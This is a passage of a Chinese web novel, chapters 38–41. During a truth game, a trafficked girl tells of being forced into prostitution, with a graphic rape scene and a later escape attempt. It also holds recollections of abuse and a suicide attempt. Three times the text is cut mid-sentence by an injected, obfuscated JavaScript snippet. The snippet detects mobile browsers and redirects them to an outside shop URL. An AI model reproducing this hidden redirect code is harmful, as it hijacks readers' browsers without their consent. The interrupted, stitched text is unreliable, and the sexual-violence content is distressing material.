魏可萱盯着自己放在膝盖上的手,“没什么意思。就是说,接近李空山可能有很多种办法,但是适用的,只有一条,也许恰好是你的不坚持不放弃,让你歪打正着了。” 魏可萱的话让连翘听得云里雾里,她继续看着她问:“那这一条是什么?” “执着和用心。” 连翘眨眨眼睛,心跳突然变得有些快,魏可萱好像看出了她的秘密,又好像没看出。 “你别紧张。” 比连翘年长几岁的魏可萱见过的男人和女人不在少数,也自然知道从前想去勾搭李空山的女人不少。 至于为什么最后是这个一无所有的女孩走到了最后,答案或许只有李空山自己才清楚。 魏可萱拧断一节青草扰左手掌心,说:“反正我以前虽然嘴上说不喜欢你,但那不是认真的,你别往心里去,还有,刚刚那药,谢谢啊。” 她别开目光,似乎再多说几个字,就已经触碰到她难为情的底线了。 “不客气。” 连翘扬起恬淡的笑,和她说真心话。 “来这里以前,李空山跟我说,你也会来。我告诉他,我有些担心,因为我没有朋友,我怕跟你们相处不好,怕你们不喜欢我,更怕自己融入不了你们。” “李空山告诉我,不用担心,他说,我只要做做真实的我就可以了。喜欢我的人,自然而然会来和我交朋友,不喜欢我的人,那说明是上天在暗示我们不契合,饶远道走了正好。总之,我不用勉强自己,想说什么就说,想做什么就做,我就是我,做真实的自己,才会开心,不用去考虑别人的想法而变得有负担。” 魏可萱随意笑了笑,“看不出来嘛,这小子这几年成长了不少啊,这些话居然是从他嘴里说出来的?” 连翘接着她的话往下说:“那当然了,你可别小看李空山。虽然在外人看来,我学习好,考试从来都不会出岔子,但其实只有我自己知道我得多么如履薄冰,才能每一次都把事情做好。李空山总是会逗我开心,带我去做放松身心的事儿,我特别感谢他。” “你感谢他?打算怎么感谢?以身相许?魏可萱开起玩笑来。 连翘怔住了。 因为她其实也没想过,以后的以后,她会在哪里,李空山又会在哪里,他们还会不会有机会见面……这些,连翘全都不敢保证。 但是她很清楚,她欠李空山的,一定会一五一十还给他。 女孩抿嘴笑了笑,声音轻柔,“不说我了,说说你吧。明眼人都看得出来你对楼巩哥有意思,那他呢?他怎么想的?” “能怎么想啊……” 魏可萱突然泄气,垂下目光,长叹一声。 “哪怕我已经对他死缠烂打三年了,他还是不肯接纳我。连翘,你看到了吗,这就是我和你的差别。” “你的死缠烂打可以换来李空山对你一次又一次的奋不顾身,而我的死缠烂打却只能换来楼巩对我一次又一次的厌恶。也许,这就是喜欢和不喜欢的差距吧。” 她抿起嘴角,心如死灰,眼神黯淡得没有希望和光。 连翘想了想,说:“所以这些伤真是你自己弄的啊?” 魏可萱面无表情点点头,神情沮丧,“他当时说让我放弃,我一急,就从车上跳下去了。” “你太冲动了,怎么能拿自己的命开玩笑,还好你福大命大,只是磕着碰着,没真伤到,可千万别有下次了。” 魏可萱落魄沮丧地“哦”了一声,继续低下头,无聊地把弄手里的草根。 突然,她扭过头,微眯着眼睛,一本正经对连翘说:“其实吧!刚摔下去的时候还挺疼的!但是我心里有气啊,你看,气得来我连痛都感觉不到了。” “哇啊啊——” 她闭上眼,摆出一副要哭的架势。 连翘偏头看了眼在李空山旁边帮忙的楼巩,笑着对魏可萱说:“哭吧,再哭大声点,这样楼巩哥以为我欺负了你,要是关心你的话,肯定会过来问你怎么了。” “他才不会。” 魏可萱明明不会轻易掉泪,可还是要做足了样子,假惺惺地拿连翘的衣袖擦眼泪,模仿出来的哭声激昂。 “那边怎么回事?” 小海一边给鱼涂料,一边好奇看过去。 他“吱”了楼巩一声,“魏可萱那家伙好像在哭哎,你不过去看看?” 楼巩埋着头帮李空山烤鱼,语调寡淡:“不看。跟我没关系。” “哦哟,真绝情。” 小海把给鱼上酱料的材料工具往更远处挪了挪,免得魏可萱那慷慨激昂的哭声吵到自己。 李空山弯腰,偏头打量楼巩埋下来的脸,“哟,真不关心啊?” 李空山劝他:“其实大家也难得一起出来一次,虽然你妈妈那边……但是这样宝贵的相处机会,真不珍惜一下?以后说不定就没机会了,连回忆都没有咯。” 他故意拉长声调,想看楼巩的脸反应。 但奈何楼巩这人实在太沉得住气,愣是半点儿反应和表情都没有。 李空山回头,和连翘眼神交流,在楼巩背后比划手势,意思在说——不行。 连翘收回目光看魏可萱。 她想了想,说:“要不这样吧,我帮你。” 魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165896|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可萱盯着她,突然止住了假惺惺的哭泣声:“你有办法?” 烤鱼弄好了。 李空山招呼连翘带着魏可萱过来吃。 期间,楼巩愣是没看她一眼,更没和她说过一句话。 魏可萱又委屈又生气,连翘坐在她旁边,安抚她,转移话题,“可萱,你要不要尝尝李空山烤的鱼,可香了。” 连翘把叉鱼的铁签递过去。 魏可萱调整心情,对她扬起一抹笑,说:“不用了,谢谢啊,你自己吃吧。” 她看一眼坐在连翘右手边的李空山,“他特地给你烤的,我要吃了,他不得恨死我。” 连翘一口咬定,“不会,他不是这么小气的人。” 她依旧没有收手,盼望着魏可萱能尝一尝这烤鱼的鲜美。 李空山从连翘身后凑了过来,脑袋放在她肩膀上方,像看仇人一般看着魏可萱,“算你有眼力劲儿,我真就是这么小气的人!” “李空山?” 连翘偏头望他,而在那一刹那,李空山也把目光挪向她,两个人的目光触及的那一瞬间,近在咫尺的两个人差点快要忘了呼吸。 彼此的眼眸里倒映着对方的影子,绿草是那样清香,风儿是那样和煦,时间流淌得是那样缓慢,连翘脑子一片空白。 他也是。 惊慌失措后,连翘慌乱低头收回目光,李空山也坐回去看向别处,明明心跳得又快又乱的人在这一刻却都不知道该说什么。 魏可萱笑了下,目光里有对他们的打趣,也有对他们之间暗潮涌动的情愫的羡慕,因为她从来就没有拥有过。 她突然想起什么,往后边的背包里翻翻找找,找出一台相机,对连翘说,“刚好今天我带了,我给你们拍张照怎么样?以后还能留个纪念。” 连翘有些拘谨,“不用了,如果真要拍的话,那就大家一起照一张。” 于是,后来在路过的农人的帮助下,他们一起照了一张合照。 照片里,女孩穿着一件淡黄色小碎花长衫,扎着的麻花辫放在左肩前方,笑得很开心,一双手垂下去放在身前,给人一种岁月静好的美。 李空山站在她的旁边,同样笑着,举起两只手比着大大的“耶”,左手举在空中没有碰到任何东西,而右手则越过连翘的肩膀举上去。 这算半个“拥她入怀”。 李空山的小心思。 照片里的楼巩站在李空山的右手边,笔直站着,在生活里总是摆着一张严肃的脸的他此刻目光柔和了许多,不再给人凶狠的感觉。 魏可萱站在他身旁,目光不是在看镜头,而是在看他。她微微仰起头,侧着脑袋,嘴角也轻轻上扬。 即便今天一路上魏可萱都在生气,委屈,但是至少在那一刻,她看向喜欢的人的目光是骗不了人的。 这些人都成双成对的,小海并不在意,更不羡慕,自己一个人盘腿坐在最前面的一排,一遍哈哈大笑,露出大白牙,一边挤眉弄眼做鬼脸,两只手按住自己的眼角和额头。 照片里,表情最忙碌的人非他莫属。 事后,这张照片被李空山保留着,他自荐,来负责保存这张珍贵的影像。 几个人在小溪边光秃秃的地表面围着而坐,组成一个圈,一旁是用以照明的灯。 不远处便是高大的榆树和四季更迭也被榆树守护着的草地,风儿吹过来时,不仅会带来一阵凉爽,还会带来它们的清香气息。 连翘用一顿饭贿赂小海。 小海兴高采烈,当着几个人的面,提议来玩儿真心局,他在背包里翻翻找找半天,拿出一个可以有指针可以当转盘的东西,放在几个人中间。 “咱们是不是朋友?是朋友今天就来真心局,真心换真心!每个人说一个自己的秘密,作为这朋友关系的见证。”小海站起来,大声宣扬:“把不敢说的秘密讲出来,咱们以后就是真朋友了!指针指到谁,谁就先说。” 一旁,李空山鄙夷地抬头盯着他:“你无不无聊?” “当然不无聊哥。”小海嬉皮笑脸蹲下来,给李空山疯狂使眼神,目光投向对面拧着脑袋纷纷不看对方的魏可萱和楼巩。 但李空山这人性子直,一根筋,愣是没看懂小海想表达个什么东西。 连翘出声打圆场,一本正经说:“我倒觉得小海这提议挺好的!既然是真朋友,那就得相互信任,朋友之间不应该有秘密。我们就都说一个自己的秘密,表示对这段友谊的认可和信任喽。” 李空山“啊”了一声,一脸懊恼,“那我这种没秘密的咋办。” 连翘:“那你就仔细想,肯定有。” 她满脸期待看向小海放在地面中央的转盘,“咱们快开始吧。” 39. 第 39 章 “那就我来——我先说。” 小海积极自荐,势必要做第一个说的人。 他咳了一声,目光一本正经扫过所有人,最后将目光凝聚在最前方地表面,说:“我小时候啊,尿过裤子,还被空山哥拍了下来,我的把柄全在他那儿。” 李空山拍了下他的头,“你这算什么秘密。” 小海惊诧:“这还不算秘密啊!那可是别人取笑我的把柄,多重要啊。” “不行,换一个。” 李空山看着其他人,“你们赞成这是秘密不?” 魏可萱连忙附和:“不赞成!” “看看。” 李空山又重新看向小海,强忍笑意,“行了,赶紧换一个,这秘密啊就得真是秘密才行。” “好吧。” 小海想了想,“那……我可真说了?” 众人齐声:“说——” 在真正说之前,小海先扬起眉头,瞄了眼旁边的李空山,随后摸着后脑勺,笑笑说,“哥,我要真说了,你可别打我啊。” “你做了对不起我的亏心事?” 小海立即反驳:“没有!绝对没有!” 他凑近些,央求道:“哎呀,反正你先答应我嘛,等我说了,你别打我。” 李空山被他扰得不行,应声答应,“行行行,我答应你。” “好。” 小海这才肯放心说。 “就是我们黑武会你们都知道管事儿的叫黑悬对吧,我们私底下都喊他黑子。当初他创办黑武会,在这里面训练打手,每个加入黑武会的人都必须练武术,没有一个例外。但是他为什么要办黑武会很少有人知道。我们只知——他有个女儿被拐了,最后出现的地方就是这儿,所以他在这里住下来,训练打手,拉帮结派,为的就是广集人脉找他女儿。” “就……有一次,我去给他送东西,无意间进入了他房间,看见里面放着一个小女孩的照片,但是这人是谁我就不知道了,不过我猜应该就是他那女儿。” 小海看向李空山:“哥,就这儿事,我一直都不敢跟你说。我发誓!这件事一直在我心里是个秘密,我没敢告诉任何人。” 他还有些心虚,补充道:“哥,这就是我唯一的秘密了,我不小心闯进去那间房,严重吗?我是不是闯了很大的祸?” 少年垂下目光,一直保持沉默,待小海说完以后,他拧头看向他:“这事儿黑悬知道吗?” 小海赶紧摇头:“不知道!我就是不敢跟他说。黑悬从来不让我们进他的房间,要让他知道我进他房间看到了他的秘密,肯定饶不了我。” “那就好。”李空山按住他的肩,目光变得严肃,“小海,你记住,这件事除了今天在场的几个人,谁都不要说,你就烂在心里,当做你从来没进过那间房。” “好……” 小海想过事情的严重性,但没想过事情如此不简单,他有些犹豫,探过头去问李空山。 “哥……那小女孩到底是谁啊?为啥那照片还是黑白的啊?难不成……他的女儿已经死了?黑悬的秘密……你知道是不是?” 李空山轻描淡写,不想让小海等人也卷进来,无所谓说:“没什么,这不重要了,反正他对你们说他的女儿还活着,你们就当那小女孩还活着,别说其他的话刺激他。” 他看向中间的转盘,说:“下一个是谁,小海,该你去转了。” “哦哦哦好。” 小海不再去多想,李空山没有告诉他别的,他便不去问。 因为他相信李空山这样做自然有他的道理。 “让我们看看下一个幸运儿是谁啊——” 小海他拉长声音,聚精会神,兴致勃勃地去转动转盘。 指针飞快转动,汇成一个辨不清缝隙的圈,渐渐地,指针转动的速度慢了下来,转啊转,最终轻轻地停在李空山身前。 众人的目光随着指针方向看过去,齐刷刷落在他一人身上。 每个人都格外紧张,认真。 唯独说完了憋在心里很久的小秘密的小海最轻松自在。 他跳起来,露出满意的笑,“哈哈,哥,居然是你哎,果然,不愧是我转出来的幸运之子!” 李空山盯他一眼,“等会儿再找你算账。” 小海无所谓地坐下,侧耳倾听,“反正我要先听你的秘密是什么,我可好奇了——” 李空山看了几人一眼,盘腿坐着,手里把玩着随手采下的一根狗尾巴草,百无聊赖开口:“行了行了,说就说吧,反正我行得正坐得端。” “镇上不是都在传我妈是犯罪分子的帮凶吗,以前警察也来我们家问过我妈有没有回来。那时候奶奶每天都和我在一块儿,她很肯定我妈没有回来,但其实……” “其实什么?” 最好奇的魏可萱连忙追问。 “其实我好像看到她回来了。但是我不确定,所以我溜出去找过她,但是没找到。再说了,那都是小时候的事情,看错了也说不定。” “其实我内心挺矛盾的。当警察告知我和我奶奶我妈在外面犯了事的时候,心里面的一个我恨透了她,恨她做这种事情,恨她抛下我和奶奶就算了,还要让我们后半生一直活在别人的闲言碎语里;可心里的另一个我又不愿相信她是这样的人,想当面亲口问问她这些到底是不是真的,所以后来……黑悬让我进黑武会,我之所以答应,也是因为想试试能不能靠里面的人找到她的下落。” 说到这儿,李空山的话戛然而止,他抬起头,言辞坚定:“我先说明啊,当时我的确是那样想的,但是现在我可不这么想了啊。这些年再难也这么过来了,她到底是哪种人我也不在乎,反正我现在就过好自己的生活,把我奶奶照顾好就行。” 连翘听得最认真,她蹲在李空山身旁,两手交叉放在膝盖上,脑袋枕着手臂,抬头注视着眼前的人儿。 不知道为什么,她总觉得李空山这番话还是在嘴硬。 明明——他其实还是想亲口问妈妈才对。 但同样的,她看向他的目光里也有心疼。 “李空山,你说你小时候好像看到了你妈妈,具体是在什么时候什么地方呢?” “就……”他想了想,毕竟是过去很久的事情,记忆早已变得越来越模糊。 “如果我没记错的话,是我隐约看见她跑到我家窗户边来看我,但我晃了一眼,跑出去的时候,一个人影儿都没有,所以我在想可能是我看错了。不过也是那天,我差点就能救回一个女孩。” “救回一个女孩,什么意思?” 连翘依旧把脑袋枕在膝盖手臂上,偏着脑袋注视他。 “这我知道!” 楼巩一听到这事就跟打了鸡血似的。 “简单来说,就是他心里愧疚了很久的事儿。” 楼巩望着连翘和李空山,继续说:“后来他跑出去找他的妈妈,结果撞上一个被拐到这儿来的女孩,这不,抓她的人差点就要发现的时候,哥就把她拉走了,后来才得知那些人出来就是为了找到跑出去的拐卖来的孩子。不过后来……我也不知道发生了什么,那小女孩又被抓回去了。” 他心虚地盯着李空山,“我问哥,他也不说。不过这事儿啊,奶奶知道。” 连翘握在掌心里的热牛奶忽然跌落泥土地,她的手撒开,忽然无力,整个人都怔住了。 牛奶沿着干涸的土地裂缝渗入地里。 李空山看向她,着急问道:“怎么了?” “没、没事。” 连翘急急忙忙把跌落的牛奶瓶捡起来,她的眼神慌乱,有意无意地在躲闪着李空山的眼神。 牛奶是他方才才递给她的,她的手都还没捂热,就因为听到楼巩所说的那段话,忽然变了样,慌了神。 “真没事?” 李空山将信将疑,因为她这幅样子看上去一点都不像没事。 连翘惊慌失措,但又很快稳住心神,她就地坐下,盯着地面扬起一抹笑,平静的语调是难以掩盖的惊惶。 “真的没事,就是刚刚没留神,牛奶瓶一不小心就掉下去了。” 李空山把她拉到自己身边坐下,有些担心,时时刻刻观察着她的情况。 他看着正中央的空地,把楼巩未说完的话补充下去,“那件事的确是我对不起当年的那女孩,不过已经过去了,我希望她还平安地活着。” 小海率先出声打破这场气氛紧张的局面,“对对对,我们换下一个啊。反正每个人都迟早要说的,连翘,不如你先说?” “好。” 她正欲开口,魏可萱突然出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165897|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声打断她,她笑了笑,热情洋溢,“连翘,我们就不跟他们一样说这些沉重又无聊的事了啊,反正咱们都是女孩子,咱们就说点女孩子的小心思小秘密呗,你先。你说说你第一次注意到某个异性是在什么时候,怎么样?” “第一次……注意?” 连翘还没从刚才的慌乱和忐忑中缓过来,魏可萱这番话反倒先把她的思绪拉入现实。 她看看李空山,又看看魏可萱,“这个多没意思,不如……不说这个?” “别呀,大家都想听,是吧?” 魏可萱故意看向李空山,让他配合自己。毕竟在她看来,这可是难得的好机会。 但李空山可好面子,他把头拧到一边,咳了声,假装无所谓说:“都行。” 谁都看得出来他的另一种心思。 连翘垂下目光,声线柔和,手里握着那杯李空山重新给她的热牛奶,“好,我可以说。” “我第一次注意到他,是在学校里。” “嗡——”的一下,李空山脑子一片空白。 学校? 意思就是,这个人不是他咯? 他当即起身,“我有点烦,我一边去走走。” “干什么?” 魏可萱把他叫下,“不许走,你先等连翘把话说完。” 连翘没有看他,继续注视着眼前的一片空地,把话说完。 “你们可能无法想象以前在田永贵那边的时候,我过的是一种怎样的生活。我说错一句话,做错一件事,或者是他输了钱,只要他有一点不愉快……他都会靠打我来发泄。” “每天去学校,我的身上总是会添些新伤,我怕别人看见,每次都习惯走在人群最后面,教室里坐最后一张桌子,放学最后一个走。每一天,每一年,我的生活都让我感到窒息,仿佛我晚上躺在床上,就好像不会再有明天了一样。” “有一次,田永贵的钱找不到了,说是我偷的,跑到学校来,对我一顿毒打,那个时候还在上课,所有的人都在看我的笑话,没有一个人出来阻止他、维护我。而我的老师因为害怕跑出去找人,忘了我还在被他殴打。” “最后,我被打得鼻亲脸肿,身上全是淤青,吐了血,差点就站不起来了。没有人管我,” “他们上课的继续上课,仿佛我不存在一般。我跑到教学楼的天台上,爬出栏杆,站到栏杆外的横阶上,想要直接跳下去,结束所有荒诞的一切。” “就在我闭上眼睛,做足了所有思想准备,打算跳下去的时候,有个逃课跑出来的人坐在墙边,对我说了一句话。” 那时的他背靠墙,左腿屈膝,右腿伸直,闭着眼睛,嘴里叼着一根木签,百无聊赖。 风吹过来,掠起他发梢时,仿佛他面对全世界一样置身事外。 他很早就瞄了一眼站在横阶上准备寻死的女生,闭着眼睛,说:“喂,你这么一跳,可真就是什么都没有了啊。日子再苦再痛,那又怎样呢?不也没让你直接死掉嘛。那既然没死,就还有机会啊,你还可以重新来过。这里可是八楼,摔下去很痛的哎。” 当连翘再回头的时候,说话的男生已经没了人影儿。 她回头往下眺望,看了眼高不可测的地面,伸出右手,盯着自己在皮肤之下流动的血液。 “跳下去……才是真的什么都没有了吗?” 那天,她其实并没有真正打算寻死,她站在高高的天台,只是像再感受一次濒临死亡的心跳。 就像多年前那个夜晚一样。 碰到他,纯属意外。 连翘跑下楼梯,追到走廊,永远记得那个把作业扔进垃圾桶、骄傲肆意迈着步子往前走的男生。 他的双手交叉放在后脑勺,仿佛这世界上的一切他都漠不关心。 夕阳的余晖洒在他的脚下,他的影子被拉长,变得金灿灿。 连翘想,她要是也能这样漠不关心一切就好了。 “然后呢然后呢!”魏可萱好奇追问,“你后来有没有再遇见他,这个人叫什么名字?” 一旁背对着众人而站的李空山终于听不下去了,气得踹开脚下的瓶子,端着手愤慨离场。 连翘转头看他。 魏可萱拉住连翘的手,“你别管他,她这人就这脾气,让他自己消化会儿就行。” 40. 第 40 章 “那……咱们还继续吗?” 小海看向几人。 魏可萱说:“继续啊,怎么不继续。” 她看向身旁的楼巩,“我不需要你说什么秘密,我只需要你说一句真心话,楼巩,你到底有没有一点儿喜欢我?哪怕一点?任何答案,我都接受,只要是你的真心话。” 楼巩低着头,不看任何人。 小海坐在他们对面,想了想,说:“巩子,不然你还是和她说实话吧,今晚过后,放过她,也放过你自己。” 一直担心远去的李空山,连翘忽地看回来。 这是什么意思?难道楼巩身上还真有隐情? “没什么好说的,有过又怎样,已经不重要了。” 他提起一旁的外套离开。 小海愣愣地望着他的背影,“……怎么都走了?” 不行。 小海想,他必须得去给这两人好好做一做思想工作,展现他情感导师大智慧的时刻到了。 即便……他连和喜欢的女孩说话都害羞。 连翘起身,坐到魏可萱身边去,搂住她的肩膀,关切问道,“怎么了?还在想他刚刚那句话是什么意思吗?” 魏可萱心里万分惆怅,每一次都是这样的结果——当她就快要接近答案的时候,楼巩总是会这样离开,瞬间又离她好远好远。 她侧着身靠在连翘的肩上。“没事,你不用管我,我知道你很想去看看李空山怎样了,你去吧,我一个人可以。” 在连翘听来,魏可萱说出的每一句话、每一个字,都是反着的。 她嘴上说她没事她可以,其实她很有事。 “我不走,我先陪会儿你,再去找他。” 连翘轻轻捋顺魏可萱黏在脸颊侧边的头发,温和开口说:“虽然我不明白这到底是怎么一回事,但我想,我也许可以把大概的想法说给你听。” 魏可萱死气沉沉的,心里难受的紧,语调也平平的没半点儿生气,嘴角垮下来,闭着眼睛,“什么想法啊……” “有一次,我好像听李空山在电话里提过,楼巩每天都会去医院,我在想,是不是他家里出什么事儿了。” “!!” 魏可萱忽然坐直,全神贯注盯着身旁的连翘,“我怎么不知道有这事!你再仔细说说。” 连翘没有直接回答,而是先反问她:“你可知道楼巩哥家里有什么亲人?” 魏可萱想了想,说:“除了他妈妈,就没别的亲人了。不过……我跟她妈妈特别不对付,所以,就只见过一次,而且那唯一的一次,我还被他妈妈赶了出来。” “这么说的话,那就能说通了。”连翘注视着魏可萱的眼睛,“他妈妈好像生了很重的病,这一年多来,楼巩哥又要忙收债的事,又要每天去医院照顾他妈妈,特别操劳。” 魏可萱愣住,许久都没缓过神来,随之而来入侵她的是愧疚,原来他的妈妈生病了,原来他每天都这么辛苦,她还去烦他…… 想到这儿,魏可萱对楼巩的气愤瞬间消散,她突然想再做点什么,弥补自己这一年多来的无理取闹。 连翘偏头,心中还有一事不解。 “你刚刚说他妈妈把你赶出来,为什么?你们之间是有什么误会吗?” 魏可萱的思绪被拉回来,她忽然顿住,有些迷惘地看着连翘。 她迷惘是因为——已经有许多人带着别样的眼光看她了,即便相处的时间不长,但她知道连翘是个很好的人,她想和她成为好朋友。 所以魏可萱不知道自己应不应该告诉她,或者说,她其实突然变得不敢了。 “你想知道吗?” 连翘目光柔和,并无攻击力,看着魏可萱缓缓扬起自己的嘴角,轻声说:“你想告诉我,我就听,你不想说,那就不说。” 魏可萱把目光从连翘身上收回,仰头望着星空,沉默许久后,她叹了口气,说:“算了,说就说吧,反正我的过去又藏不住。” “连翘,我把我的秘密告诉你吧。你是个不错的人,虽然我想,但我不勉强你必须和我做朋友,反正……随你便。” 魏可萱接下来要说的这个秘密,是楼巩、李空山、小海都知道、但连翘还不知道的秘密。 她望着魏可萱,目光中有不解,也有困惑,但随着魏可萱说出的那些话慢慢回响在耳边。 她的目光突然黯淡了下去,她觉得自己的耳朵好痛,心也难受。 “其实,我和你一样,是被拐卖到这里的,我家在哪儿,我早就忘了。我们都很相似,相似的点在于——命运坎坷,各有各的惨。” - 冬月。 清流镇下了一场十二年未曾有过的雪。 飘然似鹅毛的雪花落地后汇入雪白大毛毯积雪中。 一个男人走到下街的第三个路灯旁停下,左右看了一眼。 家家户户紧闭着门,但屋里并非如外面一般死气沉沉。 里面,是某些男人女人发泄和狂欢的盛宴。 耳边传来从门缝中钻出来男欢女爱之声,他笑了下,期待万分,心情更加急切。 男人剪着寸头,看上去大概三十岁,已经成家了,家中有两个小孩。 不过当时花容月貌的妻子做了母亲以后,俏丽容颜已逝,身材大走样,他每看一眼,就嫌弃一分。 听说这条街住着的不少女人专门特殊服务,男人便也按耐不住那颗躁动的心,在朋友的介绍下光顾这里的生意。 一来二往,他对这里渐渐熟络起来,甚至在心里根据每个女人的长相、身材和实力综合排序,拉了一个榜单。 今天要去的这家是才来的,接过的客还不多,不过据说人长得漂亮,生涩,不娴熟,但也别有趣味。 “嘎吱”一声,房间的门被推来。 这是一座位于负一楼的小屋,房门是红漆色的,屋外积雪厚重,门边窗户紧闭。 见迟迟没有人来开门,男人直接用力一推,破门而入。 这是下街的规矩,有客要接的这一天,屋子的门在客来之前都不会锁。 男人怀着迫不及待的心情走了进去,但屋子里确空荡荡的,一张床,一张桌子和四个凳子整齐摆放。 他扫视一圈,没见到人,骂了一句:“tm的,人呢?” 床底下,女孩蜷缩着身子躲在最里面的角落,因为害怕而紧闭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13165898|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着双眼,一阵寒栗,身子控制不住发抖,大气不敢出一声。 她只敢在心里祈求:千万——千万不要发现我。 男人没有见到人,满怀的期待心情落空,骂骂咧咧围着房间仔细寻找。 忽然,一只老鼠从床底下迅疾跑过,最后又从窗户下的通风洞里钻了出去。 女孩被惊吓到,不小心“啊”了一声,惊慌失措后,她又立即把自己的嘴捂上,不敢发出声音。 她吓得额头满是汗珠,男人会发现她吗? 她不敢继续往下想,只是闭着眼睛,一动不动,屏息静气。 过了很久,外面都没有动静,更没有男人到处走动的脚步声,躲在床底下的女孩慢慢放下警惕。 难道他已经走了? 女孩的心还是跳得很快,她把眼睛睁开,想要看看眼前的状况。 忽然,一张男人笑得恶劣的脸探到床底下,露在她的眼前。 “臭婊.子,你以为你逃得掉吗?” 男人伸出大手,一把将床底下的女孩拉过来,他的笑是那么恶劣,那么肮脏,时至今日,她都无法忘掉这场噩梦。 女孩奋力挣扎,“放开我!你放开我!” 然而男人把她拽得紧紧的,一只手就像钳子一样牢固有力,女孩根本无法逃脱。 他把女孩按在床上,伸手去撕她的衣服,“都说你这个新来的嫩得很,今天就让老子尝尝到底什么滋味。” 男人那肮脏又恶劣的笑一直挂在脸上,话音刚落下,他又去解开自己的裤子。 女孩绝望地挣扎,却奈何不了一点,她的眼泪从眼角流出,淌在冰冷的床面。 “你放开——” 她拼命想要从男人手底下逃窜,顾不上那么多,她一口咬住男人的手臂,趁机翻身往床下逃。 “tmd。” 男人破口大骂,一把手把女孩重新拽回来,按在床上,右手扇了她一巴掌,“装什么装啊臭婊.子,那婆娘把你卖到这里来,你这辈子就只有干这个的命!不好好服侍我,你他妈就出去慢慢等死!” 魏可萱的眼泪慢慢停止了。 这男的说的好像并无道理,她被卖到这里来,怎么反抗都没用,哪怕她逃一千次、一万次,还是会被抓回去。 她去哪儿呢?她不知道去哪儿。 她找谁求助呢?她不知道找谁求助。 她如果抗拒不从,等待她的结果就是被打死,抑或是卖到其他地方去挖了器官。 如果她想要活命,就必须得苟且偷生吗? 前面的几次接客,她没有一次不是被胁迫的。把她买到这里来的女人等男人进来以后就把门锁上,仍由这些男人欺辱她、糟蹋她。 无论她怎么求救都没用。 魏可萱不止一次挣扎,逃跑,但每一次都被抓回去,甚至被打得半死不活。 她害怕、恐惧,她想念记忆里模糊的爸爸妈妈,想念曾经的家。 可是千山之外,万里之遥,她已经找不到回去的路了。 她厌恶自己,唾弃自己肮脏的身体。 但她魏可萱偏偏不是肯轻易认输的人。 她不信命。 41. 第 41 章 完事儿以后,男人穿上裤子,心满意足地离去。 门被重重地关上,弹开时发出“嘎吱嘎吱”的声音。 女孩坐在地上,双手环住膝盖,眼泪无声划过脸颊,“啪嗒”一声滴落在地。 屋子黑漆漆的,光线很暗,让人难以分辨出这是白天。 她沉默着,一言不发,死死盯着前方,目光是那样空洞,整个人死气沉沉。 …… 连翘听得心如刀绞。 她从来没想过魏可萱有这样的过去。 她气得直接站了起来,“实在太过分了!这样的坏人根本不配活在这个世界上!” 连翘又重新蹲下来,“那个把你带去下街的女人是谁?可萱姐姐,你告诉我,我帮你出这口恶气!” 魏可萱云淡风轻地看着月光,把连翘拉下来坐好,说:“我也不知道现在人去哪儿了。不过我的故事还没说完。” 连翘心疼地看着她,安静地倾听,不打扰月光下的她。 - 又一个寒冬过去了。 初春总是伴着枝头新芽而诞生。 又一个男人熟络地摸进下街,开门进了魏可萱的屋子。 她坐在镜子前梳头,目光波澜不惊,仿佛当初那个担惊受怕的小女孩早已在她身体里死去,被一次次绝望和痛苦扼杀。 现在倒映在镜子里的魏可萱,是一个沉得住气又谄媚富有心机的女人。 男人上下瞧了她一眼,女孩穿着一件低胸吊带裙,身材线条勾勒出摄人心魄的形状,皮肤白皙富有光泽。 他笑了下,走了过去,手搭在魏可萱的肩头,手指掐住她的下巴,盯着镜子里的彼此,“看来那些人还真没骗我,果真是个小美人。” 魏可萱低头轻笑,站起身来,走到床边,“废话不多说,我们开始吧。” “有意思。”男人的心按耐不住,随着她这一句话,内心的欲.火燃烧更旺,迫不及待走过去把她扑倒。“今天让你看看我怎么让你爽一爽。” 魏可萱一笑,没有再多说什么。 她偏头,瞄准床边柜子放在盒子里的东西,趁着男人脱衣服的间隙,她悄悄拖动身体,手慢慢靠近盒子。 就在男人凑过去想要脱她衣服的刹那,魏可萱眼疾手快地打开盒子,拿起盒子里的电击棒径直坐起,对准他。 她的眼神变得警惕:“不要过来——” 男人皱着眉头,上下端详她,不屑一笑,“咋的,跟我玩刺激游戏是吧?” 魏可萱往后挪,警惕地盯着他:“等会儿我要出去,今天你当做什么都没发生,我就不对你怎样,不然——我就和你同归于尽!” 男人“呵”了一声,嘲讽道:“还没让我爽完你就想走,做梦啊你。” 说完,他便要往前去抓住魏可萱。 女孩先人一步,跳下床朝门口跑去。这一年来,她伪装了好久,也强迫自己装模作样了好久,才换得婆子对她放下戒备。 